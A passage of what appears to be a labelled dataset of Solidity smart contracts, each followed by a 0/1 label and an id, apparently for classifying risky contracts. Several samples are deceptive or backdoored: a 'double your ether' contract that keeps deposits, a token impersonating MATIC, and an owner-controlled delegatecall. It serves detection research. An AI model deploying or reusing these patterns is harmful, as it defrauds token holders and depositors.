amountToSwap = swapThreshold.sub(amountToLiquify); address[] memory path = new address[](2); path[0] = address(this); path[1] = WETH; uint256 balanceBefore = address(this).balance; router.swapExactTokensForETHSupportingFeeOnTransferTokens( amountToSwap, 0, path, address(this), block.timestamp ); uint256 amountETH = address(this).balance.sub(balanceBefore); uint256 totalETHFee = totalFee.sub(dynamicLiquidityFee.div(2)); uint256 amountETHLiquidity = amountETH.mul(dynamicLiquidityFee).div(totalETHFee).div(2); uint256 amountETHReflection = amountETH.mul(reflectionFee).div(totalETHFee); uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee); try distributor.deposit{value : amountETHReflection}() {} catch {} payable(marketingFeeReceiver).call{value : amountETHMarketing, gas : 30000}(""); if (amountToLiquify > 0) { router.addLiquidityETH{value : amountETHLiquidity}( address(this), amountToLiquify, 0, 0, autoLiquidityReceiver, block.timestamp ); emit AutoLiquify(amountETHLiquidity, amountToLiquify); } } function shouldAutoBuyback() internal view returns (bool) { return msg.sender != pair && !inSwap && autoBuybackEnabled && autoBuybackBlockLast + autoBuybackBlockPeriod <= block.number && address(this).balance >= autoBuybackAmount; } function triggerHydraBuyback(uint256 amount, bool triggerBuybackMultiplier) external authorized { buyTokens(amount, DEAD); if (triggerBuybackMultiplier) { buybackMultiplierTriggeredAt = block.timestamp; emit BuybackMultiplierActive(buybackMultiplierLength); } } function clearBuybackMultiplier() external authorized { buybackMultiplierTriggeredAt = 0; } function triggerAutoBuyback() internal { buyTokens(autoBuybackAmount, DEAD); autoBuybackBlockLast = block.number; autoBuybackAccumulator = autoBuybackAccumulator.add(autoBuybackAmount); if (autoBuybackAccumulator > autoBuybackCap) {autoBuybackEnabled = false;} } function buyTokens(uint256 amount, address to) internal swapping { address[] memory path = new address[](2); path[0] = WETH; path[1] = address(this); router.swapExactETHForTokensSupportingFeeOnTransferTokens{value : amount}( 0, path, to, block.timestamp ); } function setAutoBuybackSettings(bool _enabled, uint256 _cap, uint256 _amount, uint256 _period) external authorized { autoBuybackEnabled = _enabled; autoBuybackCap = _cap; autoBuybackAccumulator = 0; autoBuybackAmount = _amount; autoBuybackBlockPeriod = _period; autoBuybackBlockLast = block.number; } function setBuybackMultiplierSettings(uint256 numerator, uint256 denominator, uint256 length) external authorized { require(numerator / denominator <= 2 && numerator > denominator); buybackMultiplierNumerator = numerator; buybackMultiplierDenominator = denominator; buybackMultiplierLength = length; } function launched() internal view returns (bool) { return launchedAt != 0; } function launch() internal { launchedAt = block.number; } function setTxLimit(uint256 amount) external authorized { require(amount >= _totalSupply / 1000); _maxTxAmount = amount; } function setIsDividendExempt(address holder, bool exempt) external authorized { require(holder != address(this) && holder != pair); isDividendExempt[holder] = exempt; if (exempt) { distributor.setShare(holder, 0); } else { distributor.setShare(holder, _balances[holder]); } } function setIsFeeExempt(address holder, bool exempt) external authorized { isFeeExempt[holder] = exempt; } function setIsTxLimitExempt(address holder, bool exempt) external authorized { isTxLimitExempt[holder] = exempt; } function setFees(uint256 _liquidityFee, uint256 _buybackFee, uint256 _reflectionFee, uint256 _marketingFee, uint256 _feeDenominator) external authorized { liquidityFee = _liquidityFee; buybackFee = _buybackFee; reflectionFee = _reflectionFee; marketingFee = _marketingFee; totalFee = _liquidityFee.add(_buybackFee).add(_reflectionFee).add(_marketingFee); feeDenominator = _feeDenominator; require(totalFee < feeDenominator / 4); } function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver) external authorized { autoLiquidityReceiver = _autoLiquidityReceiver; marketingFeeReceiver = _marketingFeeReceiver; } function setSwapBackSettings(bool _enabled, uint256 _amount) external authorized { swapEnabled = _enabled; swapThreshold = _amount; } function setTargetLiquidity(uint256 _target, uint256 _denominator) external authorized { targetLiquidity = _target; targetLiquidityDenominator = _denominator; } function setDistributionCriteria(uint256 _minPeriod, uint256 _minDistribution) external authorized { distributor.setDistributionCriteria(_minPeriod, _minDistribution); } function setDistributorSettings(uint256 gas) external authorized { require(gas < 750000); distributorGas = gas; } function setClaimAs(address claimAs) external { distributor.setClaimAs(msg.sender, claimAs); } function getClaimAs() public view returns (address) { return distributor.getClaimAs(msg.sender); } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO)); } function getLiquidityBacking(uint256 accuracy) public view returns (uint256) { return accuracy.mul(balanceOf(pair).mul(2)).div(getCirculatingSupply()); } function isOverLiquified(uint256 target, uint256 accuracy) public view returns (bool) { return getLiquidityBacking(accuracy) > target; } event AutoLiquify(uint256 amountETH, uint256 amountBOG); event BuybackMultiplierActive(uint256 duration); }
0
2,513
pragma solidity ^ 0.4 .2; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newAdmin) onlyOwner public { owner = newAdmin; } } contract tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract token { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function token( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function transfer(address _to, uint256 _value) { if (balanceOf[msg.sender] < _value) throw; if (balanceOf[_to] + _value < balanceOf[_to]) throw; balanceOf[msg.sender] -= _value; balanceOf[_to] += _value; Transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) returns(bool success) { if (balanceOf[_from] < _value) throw; if (balanceOf[_to] + _value < balanceOf[_to]) throw; if (_value > allowance[_from][msg.sender]) throw; balanceOf[_from] -= _value; balanceOf[_to] += _value; allowance[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns(bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns(bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns(bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns(bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; Burn(_from, _value); return true; } } contract Ohni is owned, token { uint256 public sellPrice; uint256 public buyPrice; bool public deprecated; address public currentVersion; mapping(address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); function Ohni( uint256 initialSupply, string tokenName, uint8 decimalUnits, string tokenSymbol ) token(initialSupply, tokenName, tokenSymbol) {} function update(address newAddress, bool depr) onlyOwner { if (msg.sender != owner) throw; currentVersion = newAddress; deprecated = depr; } function checkForUpdates() private { if (deprecated) { if (!currentVersion.delegatecall(msg.data)) throw; } } function withdrawETH(uint256 amount) onlyOwner { msg.sender.send(amount); } function airdrop(address[] recipients, uint256 value) public onlyOwner { for (uint256 i = 0; i < recipients.length; i++) { transfer(recipients[i], value); } } function transfer(address _to, uint256 _value) { checkForUpdates(); if (balanceOf[msg.sender] < _value) throw; if (balanceOf[_to] + _value < balanceOf[_to]) throw; if (frozenAccount[msg.sender]) throw; balanceOf[msg.sender] -= _value; balanceOf[_to] += _value; Transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) returns(bool success) { checkForUpdates(); if (frozenAccount[_from]) throw; if (balanceOf[_from] < _value) throw; if (balanceOf[_to] + _value < balanceOf[_to]) throw; if (_value > allowance[_from][msg.sender]) throw; balanceOf[_from] -= _value; balanceOf[_to] += _value; allowance[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } function merge(address target) onlyOwner { balanceOf[target] = token(address(0x7F2176cEB16dcb648dc924eff617c3dC2BEfd30d)).balanceOf(target) / 10; } function multiMerge(address[] recipients, uint256[] value) onlyOwner { for (uint256 i = 0; i < recipients.length; i++) { merge(recipients[i]); } } function mintToken(address target, uint256 mintedAmount) onlyOwner { checkForUpdates(); balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount); } function freezeAccount(address target, bool freeze) onlyOwner { checkForUpdates(); frozenAccount[target] = freeze; FrozenFunds(target, freeze); } function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner { checkForUpdates(); sellPrice = newSellPrice; buyPrice = newBuyPrice; } function buy() payable { checkForUpdates(); if (buyPrice == 0) throw; uint amount = msg.value / buyPrice; if (balanceOf[this] < amount) throw; balanceOf[msg.sender] += amount; balanceOf[this] -= amount; Transfer(this, msg.sender, amount); } function sell(uint256 amount) { checkForUpdates(); if (sellPrice == 0) throw; if (balanceOf[msg.sender] < amount) throw; balanceOf[this] += amount; balanceOf[msg.sender] -= amount; if (!msg.sender.send(amount * sellPrice)) { throw; } else { Transfer(msg.sender, this, amount); } } }
0
817
pragma solidity ^0.4.19; contract X2_ETH { address owner = msg.sender; function() public payable {} function X2() public payable { if(msg.value > 1 ether) { msg.sender.call.value(this.balance); } } function Kill() public payable { if(msg.sender==owner) { selfdestruct(owner); } } }
1
4,044
pragma solidity ^0.4.23; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract FreezableToken is StandardToken { mapping (bytes32 => uint64) internal chains; mapping (bytes32 => uint) internal freezings; mapping (address => uint) internal freezingBalance; event Freezed(address indexed to, uint64 release, uint amount); event Released(address indexed owner, uint amount); function balanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner) + freezingBalance[_owner]; } function actualBalanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner); } function freezingBalanceOf(address _owner) public view returns (uint256 balance) { return freezingBalance[_owner]; } function freezingCount(address _addr) public view returns (uint count) { uint64 release = chains[toKey(_addr, 0)]; while (release != 0) { count++; release = chains[toKey(_addr, release)]; } } function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) { for (uint i = 0; i < _index + 1; i++) { _release = chains[toKey(_addr, _release)]; if (_release == 0) { return; } } _balance = freezings[toKey(_addr, _release)]; } function freezeTo(address _to, uint _amount, uint64 _until) public { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Transfer(msg.sender, _to, _amount); emit Freezed(_to, _until, _amount); } function releaseOnce() public { bytes32 headKey = toKey(msg.sender, 0); uint64 head = chains[headKey]; require(head != 0); require(uint64(block.timestamp) > head); bytes32 currentKey = toKey(msg.sender, head); uint64 next = chains[currentKey]; uint amount = freezings[currentKey]; delete freezings[currentKey]; balances[msg.sender] = balances[msg.sender].add(amount); freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount); if (next == 0) { delete chains[headKey]; } else { chains[headKey] = next; delete chains[currentKey]; } emit Released(msg.sender, amount); } function releaseAll() public returns (uint tokens) { uint release; uint balance; (release, balance) = getFreezing(msg.sender, 0); while (release != 0 && block.timestamp > release) { releaseOnce(); tokens += balance; (release, balance) = getFreezing(msg.sender, 0); } } function toKey(address _addr, uint _release) internal pure returns (bytes32 result) { result = 0x5749534800000000000000000000000000000000000000000000000000000000; assembly { result := or(result, mul(_addr, 0x10000000000000000)) result := or(result, _release) } } function freeze(address _to, uint64 _until) internal { require(_until > block.timestamp); bytes32 key = toKey(_to, _until); bytes32 parentKey = toKey(_to, uint64(0)); uint64 next = chains[parentKey]; if (next == 0) { chains[parentKey] = _until; return; } bytes32 nextKey = toKey(_to, next); uint parent; while (next != 0 && _until > next) { parent = next; parentKey = nextKey; next = chains[nextKey]; nextKey = toKey(_to, next); } if (_until == next) { return; } if (next != 0) { chains[key] = next; } chains[parentKey] = _until; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract FreezableMintableToken is FreezableToken, MintableToken { function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Mint(_to, _amount); emit Freezed(_to, _until, _amount); emit Transfer(msg.sender, _to, _amount); return true; } } contract Consts { uint public constant TOKEN_DECIMALS = 18; uint8 public constant TOKEN_DECIMALS_UINT8 = 18; uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS; string public constant TOKEN_NAME = "MATIC TOKEN"; string public constant TOKEN_SYMBOL = "MATIC"; bool public constant PAUSED = false; address public constant TARGET_USER = 0x1f97b89a0dC1426Ec75EC13669cfCC5ee67a890f; uint public constant START_TIME = 1558197000; bool public constant CONTINUE_MINTING = false; } contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable { function name() public pure returns (string _name) { return TOKEN_NAME; } function symbol() public pure returns (string _symbol) { return TOKEN_SYMBOL; } function decimals() public pure returns (uint8 _decimals) { return TOKEN_DECIMALS_UINT8; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transfer(_to, _value); } }
1
4,110
pragma solidity ^0.4.23; contract Rocket { modifier onlyBagholders() { require(myTokens() > 0); _; } modifier onlyStronghands() { require(myDividends(true) > 0); _; } modifier onlyAdministrator(){ address _customerAddress = msg.sender; require(administrators[_customerAddress]); _; } event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); event Transfer( address indexed from, address indexed to, uint256 tokens ); string public name = "Rocket"; string public symbol = "RCKT"; uint8 constant public decimals = 18; uint8 constant internal dividendFee_ = 5; uint256 constant internal tokenPriceInitial_ = 0.0000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether; uint256 constant internal magnitude = 2**64; uint256 public stakingRequirement = 100e18; uint256 public Timer; uint16 constant public JackpotTimer = 30 minutes; address public Jackpot; uint256 public JackpotAmount; uint8 constant JackpotCut = 4; uint8 constant JackpotPay = 80; uint16 constant JackpotMinBuyin = 1000; uint256 constant JackpotMinBuyingConst = 10 finney; uint256 constant MaxBuyInMin = 1 ether; uint8 constant MaxBuyInCut = 10; mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; mapping(address => uint256) internal ambassadorAccumulatedQuota_; uint256 internal tokenSupply_ = 0; uint256 internal profitPerShare_; mapping(address => bool) public administrators; bool public onlyAmbassadors = false; constructor() public payable { administrators[msg.sender] = true; buy(0x0); } function buy(address _referredBy) public payable returns(uint256) { require(msg.value <= GetMaxBuyIn()); purchaseTokens(msg.value, _referredBy); } function() payable public { require(msg.value <= GetMaxBuyIn()); purchaseTokens(msg.value, 0x0); } function reinvest() onlyStronghands() public { uint256 _dividends = myDividends(false); address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; uint256 _tokens = purchaseTokens(_dividends, 0x0); onReinvestment(_customerAddress, _dividends, _tokens); } function exit() public { address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if(_tokens > 0) sell(_tokens); withdraw(); } function withdraw() onlyStronghands() public { address _customerAddress = msg.sender; uint256 _dividends = myDividends(false); payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; _customerAddress.transfer(_dividends); onWithdraw(_customerAddress, _dividends); } function sell(uint256 _amountOfTokens) onlyBagholders() public { address _customerAddress = msg.sender; require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _undividedDividends = SafeMath.div(_ethereum, dividendFee_); uint256 _jackpotAmount = SafeMath.div(_undividedDividends, JackpotCut); JackpotAmount = SafeMath.add(JackpotAmount, _jackpotAmount); uint256 _dividends = SafeMath.sub(_undividedDividends,_jackpotAmount); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _undividedDividends); tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; if (tokenSupply_ > 0) { profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); } onTokenSell(_customerAddress, _tokens, _taxedEthereum); } function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders() public returns(bool) { address _customerAddress = msg.sender; require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]); if(myDividends(true) > 0) withdraw(); tokenSupply_ = SafeMath.sub(tokenSupply_, _amountOfTokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens); payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens); Transfer(_customerAddress, _toAddress, _amountOfTokens); return true; } function disableInitialStage() onlyAdministrator() public { } function setAdministrator(address _identifier, bool _status) onlyAdministrator() public { administrators[_identifier] = _status; } function setStakingRequirement(uint256 _amountOfTokens) onlyAdministrator() public { stakingRequirement = _amountOfTokens; } function setName(string _name) onlyAdministrator() public { name = _name; } function setSymbol(string _symbol) onlyAdministrator() public { symbol = _symbol; } function GetJackpotMin() public view returns (uint){ uint Ret = SafeMath.div(totalEthereumBalance(),(JackpotMinBuyin)); if (Ret < JackpotMinBuyingConst){ return JackpotMinBuyingConst; } return Ret; } function GetMaxBuyIn() public view returns (uint){ uint Ret = SafeMath.div(totalEthereumBalance(),(MaxBuyInCut)); if (Ret < MaxBuyInMin){ return MaxBuyInMin; } return Ret; } function totalEthereumBalance() public view returns(uint) { return address(this).balance; } function totalSupply() public view returns(uint256) { return tokenSupply_; } function myTokens() public view returns(uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } function myDividends(bool _includeReferralBonus) public view returns(uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; } function balanceOf(address _customerAddress) view public returns(uint256) { return tokenBalanceLedger_[_customerAddress]; } function dividendsOf(address _customerAddress) view public returns(uint256) { return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } function sellPrice() public view returns(uint256) { if(tokenSupply_ == 0){ return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ ); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } function buyPrice() public view returns(uint256) { if(tokenSupply_ == 0){ return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ ); uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends); return _taxedEthereum; } } function calculateTokensReceived(uint256 _ethereumToSpend) public view returns(uint256) { uint256 _dividends = SafeMath.div(_ethereumToSpend, dividendFee_); uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } function calculateEthereumReceived(uint256 _tokensToSell) public view returns(uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(_ethereum, dividendFee_); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } function PayJackpot() public{ if (block.timestamp > Timer && Jackpot != address(0x0)){ uint256 pay = (SafeMath.div(SafeMath.mul(JackpotAmount, JackpotPay), 100)); referralBalance_[Jackpot] += pay; Jackpot = address(0x0); JackpotAmount = SafeMath.sub(JackpotAmount, (uint256) (pay)); } } function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns(uint256) { if (block.timestamp > Timer){ PayJackpot(); } if (_incomingEthereum >= GetJackpotMin()){ Jackpot = msg.sender; Timer = block.timestamp + JackpotTimer; } address _customerAddress = msg.sender; uint256 _undividedDividends = SafeMath.div(_incomingEthereum, dividendFee_); bool ref = (_referredBy != 0x0000000000000000000000000000000000000000 && _referredBy != _customerAddress && tokenBalanceLedger_[_referredBy] >= stakingRequirement); uint256 _referralBonus = SafeMath.div(_undividedDividends, 3); if (!ref){ _referralBonus = 0; } uint256 _jackpotAmount = SafeMath.div(SafeMath.sub(_undividedDividends, _referralBonus), JackpotCut); JackpotAmount = SafeMath.add(JackpotAmount, _jackpotAmount); uint256 _dividends = SafeMath.sub(SafeMath.sub(_undividedDividends, _referralBonus),_jackpotAmount); uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); uint256 _fee = _dividends * magnitude; require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_)); if( ref ){ referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); } if(tokenSupply_ > 0){ tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); profitPerShare_ += (_dividends * magnitude / (tokenSupply_)); _fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_)))); } else { tokenSupply_ = _amountOfTokens; } tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee); payoutsTo_[_customerAddress] += _updatedPayouts; onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy); return _amountOfTokens; } function ethereumToTokens_(uint256 _ethereum) internal view returns(uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( SafeMath.sub( (sqrt ( (_tokenPriceInitial**2) + (2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18)) + (((tokenPriceIncremental_)**2)*(tokenSupply_**2)) + (2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_) ) ), _tokenPriceInitial ) )/(tokenPriceIncremental_) )-(tokenSupply_) ; return _tokensReceived; } function tokensToEthereum_(uint256 _tokens) internal view returns(uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = ( SafeMath.sub( ( ( ( tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)) )-tokenPriceIncremental_ )*(tokens_ - 1e18) ),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2 ) /1e18); return _etherReceived; } function sqrt(uint x) internal pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
1
3,271
pragma solidity ^0.4.24; contract OraclizeI { address public cbAddress; function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id); function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id); function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id); function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id); function queryN(uint _timestamp, string _datasource, bytes _argN) payable returns (bytes32 _id); function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) payable returns (bytes32 _id); function getPrice(string _datasource) returns (uint _dsprice); function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice); function useCoupon(string _coupon); function setProofType(byte _proofType); function setConfig(bytes32 _config); function setCustomGasPrice(uint _gasPrice); function randomDS_getSessionPubKeyHash() returns(bytes32); } contract OraclizeAddrResolverI { function getAddress() returns (address _addr); } library Buffer { struct buffer { bytes buf; uint capacity; } function init(buffer memory buf, uint _capacity) internal constant { uint capacity = _capacity; if(capacity % 32 != 0) capacity += 32 - (capacity % 32); buf.capacity = capacity; assembly { let ptr := mload(0x40) mstore(buf, ptr) mstore(ptr, 0) mstore(0x40, add(ptr, capacity)) } } function resize(buffer memory buf, uint capacity) private constant { bytes memory oldbuf = buf.buf; init(buf, capacity); append(buf, oldbuf); } function max(uint a, uint b) private constant returns(uint) { if(a > b) { return a; } return b; } function append(buffer memory buf, bytes data) internal constant returns(buffer memory) { if(data.length + buf.buf.length > buf.capacity) { resize(buf, max(buf.capacity, 